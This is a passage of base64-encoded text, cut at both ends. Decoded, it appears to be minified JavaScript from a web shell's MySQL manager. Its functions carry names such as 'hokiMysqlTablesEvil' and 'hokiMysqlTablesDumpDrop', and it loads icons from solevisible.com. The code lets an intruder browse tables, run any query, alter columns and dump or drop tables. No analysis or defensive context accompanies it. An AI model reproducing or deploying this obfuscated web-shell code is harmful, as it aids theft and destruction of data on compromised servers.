GwpfXZvaWQgMD09PXQ/aG9raU15c3FsRmlsdGVyVGFibGUobnVsbCx7ZGJfaWQ6YSx0YXJnZXQ6Ii5teXNxbC10YWJsZXMgLmxpc3RfY29udGFpbmVyIix2YWx1ZTppfSk6KGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib3BlbmVkIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyAucGFyZW50LWV4cGFuZGVyIGltZyIpLnNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nIil9fSl9ZWxzZSBpZih2b2lkIDA9PT10KWZvcih2YXIgbiBpbiBob2tpTXlzcWxGaWx0ZXJUYWJsZShudWxsLHtkYl9pZDphLHRhcmdldDoiLm15c3FsLXRhYmxlcyAubGlzdF9jb250YWluZXIiLHZhbHVlOml9KSxvKWhva2lNeXNxbFRhYmxlTW9kZShhLG9bbl0sImNsb3NlZCIpO2Vsc2V7dmFyIHM9IiIsYz1lLmdldEF0dHJpYnV0ZSgibW9kZSIpO2Zvcih2YXIgbiBpbiJvcGVuZWQiPT1jPyhlLnNldEF0dHJpYnV0ZSgibW9kZSIsImNsb3NlZCIpLHM9ImJfcGx1cy5wbmciKTooZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvcGVuZWQiKSxzPSJiX21pbnVzLnBuZyIpLG8paG9raU15c3FsVGFibGVNb2RlKGEsb1tuXSxjKTtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5wYXJlbnQtZXhwYW5kZXIgaW1nIikuc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvIitzfX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZU1vZGUoZSx0LGEpe3ZhciBpPWQucXVlcnlTZWxlY3RvcigiIyIrZSsiIC5jbHMtIit0KSxsPSIiO3ZvaWQgMD09PWE/KGw9LTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImhpZGUtZGItdGFibGVzIik/ImJfbWludXMucG5nIjoiYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QudG9nZ2xlKCJoaWRlLWRiLXRhYmxlcyIpKToib3BlbmVkIj09YT8obD0iYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QuYWRkKCJoaWRlLWRiLXRhYmxlcyIpKToobD0iYl9taW51cy5wbmciLGkuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZS1kYi10YWJsZXMiKSksZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgLmNscy0iK3QrIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS8iK2x9ZnVuY3Rpb24gaG9raU15c3FsRXhwYW5kZXIoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1lLmdldEF0dHJpYnV0ZSgic3FsX2NvdW50IiksbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY2xzLSIrdCk7ImxvYWRlZCI9PWwuZ2V0QXR0cmlidXRlKCJtb2RlIik/aG9raU15c3FsVGFibGVNb2RlKGEsdCk6aG9raU15c3FsQXBpKHtkYl9pZDphLGRiX3RhcmdldDp0LGFqYXhfaWQ6Im15c3FsX2dldF90YWJsZXMiLHBvc3Q6e2hva2kyOiJsb2FkX3RhYmxlcyIsaG9raTM6aX19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiZob2tpTXlzcWxNYWtlVGJsTGlzdChlPUpTT04ucGFyc2UoZSksbCxhLHQsaSl9KX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZXNFdmlsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTsiY2hlY2tlZCI9PWk/KGk9ITEsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJub3QiKSk6KGk9ITAsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJjaGVja2VkIikpLGQucXVlcnlTZWxlY3RvckFsbCgiIyIrYSsiICIrdCsiIGlucHV0W25hbWU9dGJsXFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkPWl9KX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZXNEdW1wRHJvcChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPSJub25lIjsiZHVtcCI9PWUudmFsdWUmJihpPSJibG9jayIpLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiICIrdCsiIC5kdW1wLWZpbGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT1pfWZ1bmN0aW9uIGhva2lNeXNxbFRhYmxlc0R1bXBEcm9wQnRuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxpPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGw9W10scj1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLG89ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgIit0KSxuPW8ucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9dGFibGVzX2V2aWxdIikudmFsdWUscz1vLnF1ZXJ5U2VsZWN0b3IoIi5kdW1wLWZpbGUtaG9sZGVyIGlucHV0IikudmFsdWU7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitpKyIgIit0KyIgaW5wdXRbbmFtZT10YmxcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJmwucHVzaChlLnZhbHVlKX0pLGwubGVuZ3RoPjAmJmhva2lNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOiJteXNxbF9xdWVyeV9ldmlsIixkYl9pbmZvOnt0YWJsZXM6bCxtb2RlOm4sZHVtcF9maWxlOnN9LHBvc3Q6e2hva2kyOiJkdW1wX2Ryb3AifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksImRyb3AiPT1uP2hva2lNeXNxbE1ha2VUYmxMaXN0KGUsbyxpLGEscik6by5xdWVyeVNlbGVjdG9yKCIuZHVtcC1maWxlLWhvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwiPGRpdj48YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiK3MrJyIsImRvd25sb2FkIik7XCc+PHNwYW4+RG93bmxvYWQ6ICcrcysiPC9zcGFuPjwvYT48L2Rpdj4iKSl9KX1mdW5jdGlvbiBob2tpTXlzcWxNYWtlVGJsTGlzdChlLHQsYSxpLGwpe3Quc2V0QXR0cmlidXRlKCJtb2RlIiwibG9hZGVkIik7dmFyIHI9Jzx1bD48bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iZGItb3B0LWlkIiBkYl9pZD0iJythKyciIHBsYWNlaG9sZGVyPSJGaWx0ZXIgVGFibGUiIHRhcmdldD0iLmNscy0nK2krJyIgb25rZXl1cD0iaG9raU15c3FsRmlsdGVyVGFibGUodGhpcyk7IiBuYW1lPSJmaWx0ZXIiPjwvZGl2PjwvbGk+Jztmb3IodmFyIG8gaW4gZSludWxsIT1lW29dJiYocis9IjxsaT48ZGl2IGNsYXNzPSdibG9jayc+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2IGNsYXNzPSd0YWJsZXMtcm93Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIitlW29dLm5hbWUrIic+Jm5ic3A7PGEgY2xhc3M9J2RiLW9wdC1pZCcgZGJfdGFyZ2V0PSciK2krIicgZGJfaWQ9JyIrYSsiJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPVwiaG9raUxvYWRUYWJsZURhdGEodGhpcywgJyIrZVtvXS5uYW1lKyInKVwiPjxzcGFuIGNsYXNzPSdteXNxbF90YWJsZXMnIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnPiIrZVtvXS5uYW1lKyI8L3NwYW4+PC9hPiIrKGw/IiA8c21hbGw+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0OycgY2xhc3M9J215c3FsX3RhYmxlX2NvdW50Jz4oIitlW29dLmNvdW50KyIpPC9zcGFuPjwvc21hbGw+IjoiJm5ic3A7IikrIjwvZGl2PjwvbGk+Iik7cis9JzwvdWw+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDI2cHg7bWFyZ2luLWJvdHRvbTogMTBweDttYXJnaW4tdG9wOiAxMHB4OyI+PGlucHV0IG9uY2hhbmdlPSJob2tpTXlzcWxUYWJsZXNFdmlsKHRoaXMpOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJytpKyciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJob2tpTXlzcWxUYWJsZXNEdW1wRHJvcCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIGRiX2lkPSInK2ErJyIgdGFyZ2V0PSIuY2xzLScraSsnIiBjbGFzcz0iZGItb3B0LWlkIiBuYW1lPSJ0YWJsZXNfZXZpbCIgc3R5bGU9InBhZGRpbmc6IDA7d2lkdGg6IDEwMHB4OyI+PG9wdGlvbiBzZWxlY3RlZD5kcm9wPC9vcHRpb24+PG9wdGlvbj5kdW1wPC9vcHRpb24+PC9zZWxlY3Q+IDxidXR0b24gb25jbGljaz0iaG9raU15c3FsVGFibGVzRHVtcERyb3BCdG4odGhpcyk7cmV0dXJuIGZhbHNlOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiBkYl90YXJnZXQ9IicraSsnIiB0YXJnZXQ9Ii5jbHMtJytpKyciIGNsYXNzPSJkYi1vcHQtaWQiPkRvIGl0PC9idXR0b24+PGRpdiBjbGFzcz0iZHVtcC1maWxlLWhvbGRlciIgc3R5bGU9ImRpc3BsYXk6bm9uZTttYXJnaW4tbGVmdDoyMHB4O21hcmdpbi10b3A6IDVweDsiPjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJkdW1wLnNxbCIgbmFtZT0iZHVtcF9maWxlIj48L2Rpdj48L2Rpdj4nLHQuaW5uZXJIVE1MPXIsZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNscy0iK2krIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyJ9ZnVuY3Rpb24gaG9raU15c3FsUXVlcnkoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiB0ZXh0YXJlYVtuYW1lPXF1ZXJ5XSIpLnZhbHVlO2hva2lNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF9sb2FkX3F1ZXJ5X2RhdGEiLGRiX2luZm86e3F1ZXJ5Oml9LHBvc3Q6e2hva2kyOiJxdWVyeSJ9fSxmdW5jdGlvbihlKXswIT1lLmxlbmd0aCYmKGU9SlNPTi5wYXJzZShlKSxob2tpTXlzcWxSZXBvcnRCdWlsZGVyKGEsZSksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXF1ZXJ5LXRhYmxlIikuaW5uZXJIVE1MPWUuc3RhdHVzP2UudGFibGU6IiIsaG9raU15c3FsVGFiQ3RsKHtjaGlsZDoxLGRiX2lkOmEsdGFyZ2V0OiIubXlzcWwtcXVlcnktcmVzdWx0LWNvbnRlbnQifSwhMCkpfSl9ZnVuY3Rpb24gaG9raU15c3FsUmVwb3J0QnVpbGRlcihlLHQpe3ZhciBhPSIiO3Quc3RhdHVzfHwoYT0iPGRpdj48c3Bhbj5FcnJvcjogPC9zcGFuPjxkaXYgc3R5bGU9J3BhZGRpbmctbGVmdDogNTBweDsnPjxwcmU+Iit0LmVycm9yKyI8L3ByZT48L2Rpdj48L2Rpdj4iKTt2YXIgaT0iPGRpdj48c3Bhbj5RdWVyeTo8L3NwYW4+PGRpdiBzdHlsZT0ncGFkZGluZy1sZWZ0OiA1MHB4Oyc+PHByZT4iK3QucXVlcnkrIjwvcHJlPjwvZGl2PiIrYSsiPC9kaXY+IjtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9aX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZVBhbmVsQ3RsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGE9KHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksZC5xdWVyeVNlbGVjdG9yKCIjIit0KSksaT1hLnF1ZXJ5U2VsZWN0b3IoIi50YWJsZXMtcGFuZWwtY3RsIik7Im5vbmUiPT1pLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsaS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJibG9jayIpLGkuaW5uZXJIVE1MPSImI3gzQzsmI3gzQzsiLGEucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWQiKS5jbGFzc0xpc3QucmVtb3ZlKCJteXNxbC1xdWVyeS1yZXN1bHRzLWZpeGVkIikpOihhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJub25lIixpLnNldEF0dHJpYnV0ZSgibW9kZSIsIm5vbmUiKSxpLmlubmVySFRNTD0iJiN4M0U7JiN4M0U7IixhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1xdWVyeS1yZXN1bHRzIikuY2xhc3NMaXN0LmFkZCgibXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZCIpKSxpLmNsYXNzTGlzdC50b2dnbGUoInRhYmxlcy1wYW5lbC1jdGwtbWluIil9ZnVuY3Rpb24gaG9raU15c3FsVGFiQ3RsKGUsdCl7dmFyIGE9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKTplLmRiX2lkLGk9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgidGFyZ2V0Iik6ZS50YXJnZXQ7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIithKyIgLm15c3FsLXF1ZXJ5LWNvbnRlbnQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2xhc3NMaXN0LmFkZCgibXlzcWwtaGlkZS1jb250ZW50Iil9KSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgLm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLHZvaWQgMD09PXQ/ZS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKTpkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCgiK2UuY2hpbGQrIikiKS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAiK2kpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLWhpZGUtY29udGVudCIpfWZ1bmN0aW9uIGhva2lMb2FkVGFibGVEYXRhKGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7aG9raU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX2xvYWRfdGFibGVfZGF0YSIsZGJfaW5mbzp7dGFibGU6dH0scG9zdDp7aG9raTI6ImxvYWRfZGF0YSJ9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciBsPSIiLHI9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIsbz0iPHRhYmxlIGJvcmRlcj0nMSc+PHRyIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0O2JhY2tncm91bmQtY29sb3I6ICMzMDViOGU7Y29sb3I6I0ZGRkZGRjsnPjx0aD5Db2x1bW48L3RoPjx0aD5UeXBlPC90aD48dGg+VmFsdWU8L3RoPjx0aD5DaGFuZ2U8L3RoPjwvdHI+IixuPSI8dGFibGUgYm9yZGVyPScxJz48dHIgc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7YmFja2dyb3VuZC1jb2xvcjogIzMwNWI4ZTtjb2xvcjojRkZGRkZGOyc+PHRoPkNvbHVtbjwvdGg+PHRoPlR5cGU8L3RoPjx0aD5Db2xsYXRpb248L3RoPjx0aD5PcGVyYXRvcjwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIscz1bImludCIsInNtYWxsaW50IiwiYmlnaW50IiwidGlueWludCIsIm1lZGl1bWludCJdLGM9WyJsb25ndGV4dCIsInRleHQiLCJtZWRpdW10ZXh0IiwidGlueXRleHQiXTtmb3IodmFyIHUgaW4gZS5jb2x1bW5zKXt2YXIgcD0idGV4dCI7LTEhPXMuaW5kZXhPZihlLmNvbHVtbnNbdV0uZGF0YV90eXBlKSYmKHA9Im51bWJlciIpLG4rPSI8dHI+PHRoIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0Oyc+IitlLmNvbHVtbnNbdV0ubmFtZSsiPC90aD48dGQ+IitlLmNvbHVtbnNbdV0udHlwZSsiPC90ZD48dGQ+IitlLmNvbHVtbnNbdV0uY29sbGF0aW9uKyI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIic+PG9wdGlvbiB2YWx1ZT0nPSc+PTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JyE9Jz4hPTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Jz4nPiZndDs8L29wdGlvbj48b3B0aW9uIHZhbHVlPSc+PSc+Jmd0Oz08L29wdGlvbj48b3B0aW9uIHZhbHVlPSc8Jz4mbHQ7PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nPD0nPiZsdDs9PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIj0gJydcIj49ICcnPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiE9ICcnXCI+IT0gJyc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdMSUtFJz5MSUtFPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTElLRSAlLi4uJSc+TElLRSAlLi4uJTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J05PVCBMSUtFJz5OT1QgTElLRTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J1JFR0VYUCc+UkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nUkVHRVhQIF4uLi4kJz5SRUdFWFAgXi4uLiQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdOT1QgUkVHRVhQJz5OT1QgUkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSU4gKC4uLiknPklOICguLi4pPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIElOICguLi4pJz5OT1QgSU4gKC4uLik8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdCRVRXRUVOJz5CRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIEJFVFdFRU4nPk5PVCBCRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSVMgTlVMTCc+SVMgTlVMTDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J0lTIE5PVCBOVUxMJz5JUyBOT1QgTlVMTDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSciK3ArIicgbmFtZT0nIitlLmNvbHVtbnNbdV0ubmFtZSsiJz48L3RkPjwvdHI+Ijt2YXIgZj1ob2tpTXlzcWxMb2FkRGF0YVR5cGUoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk7bnVsbD09ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWUmJihlLmNvbHVtbnNbdV0udHlwZV92YWx1ZT0iIiksbys9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD48c2VsZWN0IG5hbWU9J3NlbF8iK2UuY29sdW1uc1t1XS5uYW1lKyInPiIrZisiPC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IG5hbWU9J3ZhbHVlXyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdHlwZT0ndGV4dCcgdmFsdWU9JyIrKC0xPT1jLmluZGV4T2YoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk/ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWU6IiIpKyInPjwvdGQ+PHRkPjxidXR0b24gY29sX25hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdGJsX25hbWU9JyIrdCsiJyBkYl9pZD0nIitpKyInIGRiX3RhcmdldD0nIithKyInIG9uY2xpY2s9J2hva2lNeXNxbEFsdGVyVGJsKHRoaXMpO3JldHVybiBmYWxzZTsnPkNoYW5nZTwvYnV0dG9uPjwvdGQ+PC90cj4iO3ZhciBtPSIiO3N3aXRjaChlLmNvbHVtbnNbdV0uZGF0YV90eXBlKXtjYXNlImxvbmd0ZXh0IjpjYXNlInRleHQiOm09Ijx0ZXh0YXJlYSBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHJvd3M9JzUnPjwvdGV4dGFyZWE+IjticmVhaztjYXNlImludCI6Y2FzZSJzbWFsbGludCI6Y2FzZSJiaWdpbnQiOm09IjxpbnB1dCB0eXBlPSdudW1iZXInIG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdmFsdWU9Jyc+IjticmVhaztkZWZhdWx0Om09IjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHZhbHVlPScnPiJ9cis9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD4iK2UuY29sdW1uc1t1XS50eXBlKyI8L3RkPjx0ZD4iK20rIjwvdGQ+PC90cj4ifWlmKHIrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdob2tpTXlzcWxVcGRhdGVSb3codGhpcywgXCJpbnNlcnRcIik7cmV0dXJuIGZhbHNlOyc+SW5zZXJ0PC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtaW5zZXJ0LXJlc3VsdCc+PC9kaXY+IixvKz0iPC90YWJsZT48ZGl2IGNsYXNzPSdteXNxbC1zdHJ1Y3R1cmUtcXJlcyc+PC9kaXY+IixuKz0iPC90YWJsZT48ZGl2IHN0eWxlPSdwYWRkaW5nLWxlZnQ6IDM4NHB4O21hcmdpbi10b3A6IDE1cHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdob2tpTXlzcWxTZWFyY2godGhpcyk7cmV0dXJuIGZhbHNlOyc+U2VhcmNoPC9idXR0b24+PC9kaXY+IixlLnBhZ2VzPjApe2wrPSI8c3BhbiBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7JyBkYl9pZD0nIitpKyInIG9uY2xpY2s9J2hva2lNeXNxbENoYW5nZVBhZ2UodGhpcywxKTsnPjw8PC9zcGFuPiA8c3Bhbj4gcGFnZTogPC9zcGFuPiA8c2VsZWN0IHRibF9uYW1lPSciK3QrIicgZGJfdGFyZ2V0PSciK2ErIicgbmFtZT0nbXlzcWwtcS1wYWdlcycgZGJfaWQ9JyIraSsiJyBjbGFzcz0nZGItb3B0LWlkJyBvbmNoYW5nZT0naG9raU15c3FsQ2hhbmdlUGFnZSh0aGlzKTsnIHBhZ2VzPSciK2UucGFnZXMrIic+Ijtmb3IodmFyIGI9MTtiPGUucGFnZXMrMTtiKyspbCs9IjxvcHRpb24+IitiKyI8L29wdGlvbj4iO2wrPSI8L3NlbGVjdD48c3Bhbj4gT2YgIitlLnBhZ2VzKyI8L3NwYW4+IDxzcGFuIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIGRiX2lkPSciK2krIicgb25jbGljaz0naG9raU15c3FsQ2hhbmdlUGFnZSh0aGlzLDIpOyc+Pj48L3NwYW4+In12YXIgeT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpO3kucXVlcnlTZWxlY3RvcigiLm15c3FsLXNlYXJjaC1hcmVhIikuaW5uZXJIVE1MPW4seS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtaW5zZXJ0LXJvdyIpLmlubmVySFRNTD1yLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLWVkaXQtcm93IikuaW5uZXJIVE1MPSIiLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSIpLmlubmVySFRNTD1vLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdC1oZWFkZXIgLm15c3FsLXF1ZXJ5LXBhZ2VyIikuaW5uZXJIVE1MPWwseS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS5zdGF0dXM/ZS50YWJsZToiIixob2tpTXlzcWxUYWJDdGwoe2NoaWxkOjEsZGJfaWQ6aSx0YXJnZXQ6Ii5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCJ9LCEwKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCg2KSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGhva2lNeXNxbFJlcG9ydEJ1aWxkZXIoaSxlKX19KX1mdW5jdGlvbiBob2tpTXlzcWxBbHRlclRibChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPWQucXVlcnlTZWxlY3RvcigiIyIrYSksbD1lLmdldEF0dHJpYnV0ZSgidGJsX25hbWUiKSxyPWUuZ2V0QXR0cmlidXRlKCJjb2xfbmFtZSIpLG89e307by50eXBlPWkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSBzZWxlY3RbbmFtZT1zZWxfIityKyJdIikudmFsdWUsby5pbnB1dD1pLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1zdHJ1Y3R1cmUgaW5wdXRbbmFtZT12YWx1ZV8iK3IrIl0iKS52YWx1ZSxob2tpTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnQsYWpheF9pZDoibXlzcWxfdGFibGVfYWx0ZXIiLGRiX2luZm86e3RhYmxlOmwsY29sdW1uOnIsYWx0ZXI6b30scG9zdDp7aG9raTI6ImFsdGVyIn19LGZ1bmN0aW9uKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1zdHJ1Y3R1cmUtcXJlcyIpO3QuaW5uZXJIVE1MPWUsdC5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX1mdW5jdGlvbiBob2tpTXlzcWxTZWFyY2goZSl7